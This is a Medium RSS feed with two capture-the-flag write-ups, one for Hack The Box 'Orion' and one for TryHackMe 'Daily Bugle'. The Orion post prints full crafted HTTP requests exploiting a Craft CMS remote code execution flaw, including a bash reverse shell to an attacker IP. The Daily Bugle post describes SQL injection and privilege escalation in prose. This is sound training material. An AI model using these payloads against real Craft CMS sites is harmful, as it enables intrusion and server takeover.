<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hus3yn.exe on Medium]]></title>
        <description><![CDATA[Stories by Hus3yn.exe on Medium]]></description>
        <link>https://medium.com/@hmirzayev003?source=rss-ca08d272aaf9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Z6RYPkWR1fuXbqu_xPAsoQ@2x.jpeg</url>
            <title>Stories by Hus3yn.exe on Medium</title>
            <link>https://medium.com/@hmirzayev003?source=rss-ca08d272aaf9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 22:28:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hmirzayev003/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hach The Box — Orion]]></title>
            <link>https://medium.com/@hmirzayev003/hach-the-box-orion-346e6de64789?source=rss-ca08d272aaf9------2</link>
            <guid isPermaLink="false">https://medium.com/p/346e6de64789</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[orion]]></category>
            <dc:creator><![CDATA[Hus3yn.exe]]></dc:creator>
            <pubDate>Sun, 13 Sep 2026 08:59:21 GMT</pubDate>
            <atom:updated>2026-09-13T08:59:21.216Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*hP2FxkXRz8uIBrPtzVAfKA.png" /></figure><h3>1. Executive Summary</h3><h3>1.1 Purpose of the Test</h3><p>In this post, I’ll walk you through how I tackled the “Orion” lab on Hack The Box from the very first foothold to full privilege escalation. What makes this writeup a little different: no Metasploit involved. Every step of gaining initial access was done manually, using nothing but Burp Suite to intercept, analyze, and manipulate requests until I found my way in. I’ll break down exactly how I identified the entry point, exploited it purely through Burp, and then pivoted that access into root control. If you’re looking to sharpen your manual exploitation skills without leaning on automated frameworks, this one’s for you.</p><h3>1.2 Overall Outcome</h3><p>During the engagement, access was successfully obtained at the following stages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*OlYEyN4worT8cuD9HMej7w.png" /></figure><h3>1.3 Critical Findings</h3><p>1. Outdated and vulnerable Craft CMS version</p><p>2. Unauthenticated Remote Code Execution (RCE)</p><p>3. Privilege escalation via Telnet</p><h3>1.4 Security İmpact</h3><p>When chained together, the identified vulnerabilities allow an attacker to:</p><p>1. Gain initial access to the system without authentication;</p><p>2. Execute arbitrary code remotely on the server;</p><p>3. Escalate privileges beyond the initial user context;</p><p>4. Ultimately achieve extensive control over the system.</p><p>For this reason, the overall risk level is rated as Critical.</p><h3>2 Tools Used</h3><p>1. Nmap</p><p>2. Gobuster</p><p>3. Burp Suite</p><p>4. Hashcat</p><h3>3. Findings</h3><h3>3.1 Web Enumeration</h3><p><strong>Nmap scan results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*0e-Rgpes1IGHbCnRB435Qg.png" /></figure><p>The Nmap scan revealed that ports 22 (SSH) and 80 (HTTP) were open. The web application exposed on the HTTP service was then analyzed in more detail.An entry was added to the /etc/hosts file so that the orion.htb domain would resolve to the target’s IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*k4kI6LDWzBOB8A-VG-8Vtw.png" /></figure><p>Directory and file enumeration was performed with Gobuster, which uncovered several interesting resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*oPUsRpteBur1JO7eD48aBw.png" /></figure><p>Navigating to the /admin/login resource revealed a login page intended for user authentication. The footer of the page showed that the application was running Craft CMS version 5.6.16.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*LX7ijTM4K-rYiJJ-y5eaag.png" /></figure><p>Craft CMS is a content management system (CMS) used for building and managing websites and digital platforms.</p><h3>3.1 Outdated and Vulnerable Craft CMS Version</h3><p>Craft CMS 5.6.16 is affected by a Remote Code Execution (RCE) vulnerability that lives in the application’s internal image transformation and processing functionality. An attacker can send specially crafted POST requests to the image-processing endpoint /admin/actions/assets/generate-transform. The submitted request is written into PHP session files on the server. Due to flaws in the Yii Framework that Craft CMS is built on, the server executes the malicious PHP payload embedded in that session file when it later reads or processes it. This ultimately grants a reverse shell or web shell.</p><h3>3.2 Unauthenticated Remote Code Execution (RCE)</h3><p>The plan was to leverage this RCE to obtain a reverse shell. Before sending the malicious POST request, however, three components were needed:</p><p>1. A valid session cookie</p><p>2. A CSRF cookie</p><p>3. A CSRF token</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*rSI9VCz4-1qfuLnBreMBHw.png" /></figure><p>The session cookie and CSRF cookie were obtained using curl.</p><p>The CSRF token, however, was retrieved from the page source of /admin/login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*BqpY3KEAZ-4meeuvqBcMDA.png" /></figure><p>Using a specially crafted POST request, the PHP version running on the target server was successfully retrieved. This confirmed that the vulnerability was genuinely exploitable.</p><p>The malicious POST request used:</p><pre>POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1<br>Host: orion.htb<br>User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0<br>Cookie: CraftSessionId=3ieurja00ogttstbj7hf5ahud; CRAFT_CSRF_TOKEN=eb7b539cd0ae0b585d28a0d6db5ele83b97743ff7b7581aade779e1289a3bf76a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22FhE9kUcmeOoYHHo6SFiqxhH5mbMjkAlnnd1zltnM%22%3B%7D<br>X-CSRF-Token: JSTHqCETdkD6ZBs0elqfOz3LgjqHDCoOKXtlCjmYKSF_8nlnhTdJJWNMgpFKRhUtn1RObTIS8AlujetL32Ri 00QZKGBS2RhPEZZI HelDJ2g=<br>Content-Type: application/json<br>Content-Length: 352<br>{<br>         &quot;assetId&quot;:11,<br>         &quot;handle&quot;:{<br>                   &quot;width&quot; : 123,<br>                   &quot;height&quot; : 123,<br>                   &quot;as session&quot;:{<br>                            &quot;class&quot;:&quot;craft\\behaviors\\FieldLayoutBehavior&quot;,<br>                            &quot;_class&quot;:&quot;GuzzleHttp\\Psr7\\FnStream&quot;,<br>                            &quot;_construct() &quot; :[<br>                                     [<br>                                     ]<br>                            ] ,<br>                            ·_ fn_close&quot;:&quot;phpinfo&quot;<br>                    }<br>          }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*yJR1JBN4Jh3OznCKKHinLQ.png" /></figure><p>Next, a second, crafted request carrying the reverse shell payload was sent via POST to the target, and the system was successfully compromised.</p><p>The malicious POST request used to obtain a reverse shell (RCE):</p><pre>POST /index.php?p=admin/actions/assets/generate-transform&amp;cmd=bash%20-c%20&#39;bash%20-i%20%3E%26%20/dev/tcp/10.10.14.199/443%200%3E%261&#39; HTTP/1.1 <br>Host: orion.htb <br>User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0 Cookie: CraftSessionId=3ieurja00ogttstbj7hf5ahu5d; CRAFT_CSRF_TOKEN=eb7b539cd0ae0b585d28a0d6db5e1e8b97743ff7b7581aade779e1289a3bf76a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22FhE9kUcmeOoYHH06SF1qxHh5mbMjkAlnndlzltnM%22%3B%7D X-CSRF-Token: JSThqCETdkD6ZBsOelqfOz3LgjqHDCoOKXtlCjmYKSF_8nlnhTdJJWNMgpFKRhUtn1RDbTIS8AlujetL32RiO0QZKGBS2RhPEZZIHelDJ2g= <br>Content-Type: application/json <br>Content-Length: 418<br>{<br>         &quot;assetId&quot;:11, <br>         &quot;handle&quot;:{ <br>                  &quot;width&quot;:123, <br>                  &quot;height&quot;:123, <br>                  &quot;as hack&quot;:{ <br>                         &quot;class&quot;:&quot;\\craft\\behaviors\\FieldLayoutBehavior&quot;,<br>                         &quot;__class&quot;:&quot;\\yii\\rbac\\PhpManager&quot;,<br>                         &quot;__construct()&quot;:[<br>                                 {<br>                                        &quot;itemFile&quot;:&quot;/var/lib/php/sessions/sess_3ieurja00ogttstbj7hf5ahu5d&quot;<br>                                 }<br>                         ]<br>                  }<br>         }<br>}</pre><p>Access to the system was successfully obtained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*4is3SzO2w9E56AlFT2jJHA.png" /></figure><p>Inside /home there was a directory belonging to a user named “adam”, but it wasn’t possible to access it directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*7rzuNj3yaPiDj6gx5SOFoQ.png" /></figure><p>While searching the target system, a .env file was found containing a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*V7IAKwRU0dz3OGj6pRjzYQ.png" /></figure><p>That password did not work for the “adam” user account itself, but it turned out to be valid for the database running on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*jVCGGUntQKAh8GF8gvU5IQ.png" /></figure><p>Inside the database was a password stored as a bcrypt hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*JcqIyOVBXogBYmSGsArgXg.png" /></figure><p>Using Hashcat, the plaintext password corresponding to that hash was successfully cracked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*h5qfS_t_eWpguWCZreu_UQ.png" /></figure><p>With that password, it was possible to switch to the “adam” user account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*XMO8by39EzU-mO7woAQT4g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=346e6de64789" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme — Daily Bugle]]></title>
            <link>https://medium.com/@hmirzayev003/tryhackme-daily-bugle-2d64b4bedf2a?source=rss-ca08d272aaf9------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d64b4bedf2a</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[labs]]></category>
            <category><![CDATA[daily-bugle]]></category>
            <dc:creator><![CDATA[Hus3yn.exe]]></dc:creator>
            <pubDate>Wed, 02 Sep 2026 19:35:10 GMT</pubDate>
            <atom:updated>2026-09-02T19:35:10.071Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*VMF8DoAQ_7HO0Nf771BzTw.png" /></figure><h3>Table of Contents</h3><ol><li>Executive Summary 1.1 Purpose of the Test 1.2 Overall Outcome 1.3 Critical Findings</li><li>Tools Used</li><li>Findings 3.1 Web Enumeration 3.2 Joomla Enumeration 3.3 CVE-2017–8917 Exploitation 3.4 Password Cracking 3.5 Joomla Administrator Access 3.6 Reverse Shell 3.7 SSH Access 3.8 Privilege Escalation</li></ol><h3>1. Executive Summary</h3><h3>1.1 Purpose of the Test</h3><p>This penetration test was carried out against the Daily Bugle lab environment. The objective was to identify security vulnerabilities within the system and demonstrate practical methods of exploiting them.</p><h3>1.2 Overall Outcome</h3><p>During testing, access was successfully obtained at the following levels:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*Pfm8ivmZqj6aDFQvXM_thQ.png" /></figure><h3>1.3 Critical Findings</h3><ol><li>Outdated Joomla CMS version (3.7.0)</li><li>SQL Injection vulnerability (CVE-2017–8917)</li><li>Compromise of the administrator account</li><li>Successful acquisition of a reverse shell</li><li>Privilege escalation resulting from a misconfigured sudo policy</li></ol><h3>2 Tools Used</h3><ol><li>Nmap</li><li>Gobuster</li><li>JoomScan</li><li>John the Ripper</li></ol><h3>3. Findings</h3><h3>3.1 Web Enumeration</h3><p><strong>Nmap scan results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*EZLYBq190UVZYE3C1mS_XQ.png" /></figure><p>The Nmap scan revealed that ports 22 (SSH), 80 (HTTP), and 3306 (MySQL) were open.<br>An initial review of the HTTP service did not reveal any immediately usable information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*ebtH007wwN1PVunmOXbWrQ.png" /></figure><p>Directory and file enumeration was then performed using Gobuster, which revealed that the site was built on the Joomla content management system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*35pCjmAcDckR9pczMxRbjA.png" /></figure><h3>3.2 Joomla Enumeration</h3><p>Once it was confirmed that the site was running Joomla, the <em>JoomScan</em> tool was used to identify the exact version, installed components, and potential vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*fbmUm2KrdBZBaGA3tNlfnQ.png" /></figure><h3>3.3 CVE-2017–8917 Exploitation</h3><p>After investigating the detected Joomla 3.7.0 version, the SQL Injection vulnerability CVE-2017–8917 was identified.<br>Using this exploit, the administrator’s account information and password hash were obtained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*BBM398gHKdUlP9uuccM8yw.png" /></figure><h3>3.4 Password Cracking</h3><p>The obtained hash was then cracked using John the Ripper, which successfully recovered the plaintext password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tjB-42zM_PuL067XMsnySQ.png" /></figure><h3>3.5 Joomla Administrator Access</h3><p>Using the recovered username and password, access to the Joomla administrator panel was achieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*cy2TVbdqKQQRtWdA09hs1g.png" /></figure><h3>3.6 Reverse Shell</h3><p>After gaining access to the Joomla administrator panel, the index.php file used by the application was edited. The existing PHP code was replaced with a reverse shell payload. Once the changes were saved and the file was executed, a reverse shell connection to the target system was successfully established.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*eFzAxbqXPc-kPdvmm_DOag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ff01S1eeHEw3ROYn-kWc3g.png" /></figure><h3>3.7 SSH Access</h3><p>A user named jjameson was identified on the system; however, access to that user&#39;s home directory was not possible due to insufficient privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*6Bh1--YWvF3Osz7cAPlw2w.png" /></figure><p>The configuration.php file located in the www/html directory was analyzed, revealing database credentials. Because the password had been reused, it was possible to log into the system as the jjameson user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*nAjhMYN7ErlDes6bn0mBew.png" /></figure><h3>3.8 Privilege Escalation</h3><p>Running sudo -l revealed that the jjameson user was permitted to execute the yum package manager with root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*46ltfCO3dQQUC64i9AAaQA.png" /></figure><p>Leveraging a known exploit for this misconfiguration, privilege escalation was performed and root access was obtained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*CuShqaC4-j5eLUEwLah8pQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d64b4bedf2a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>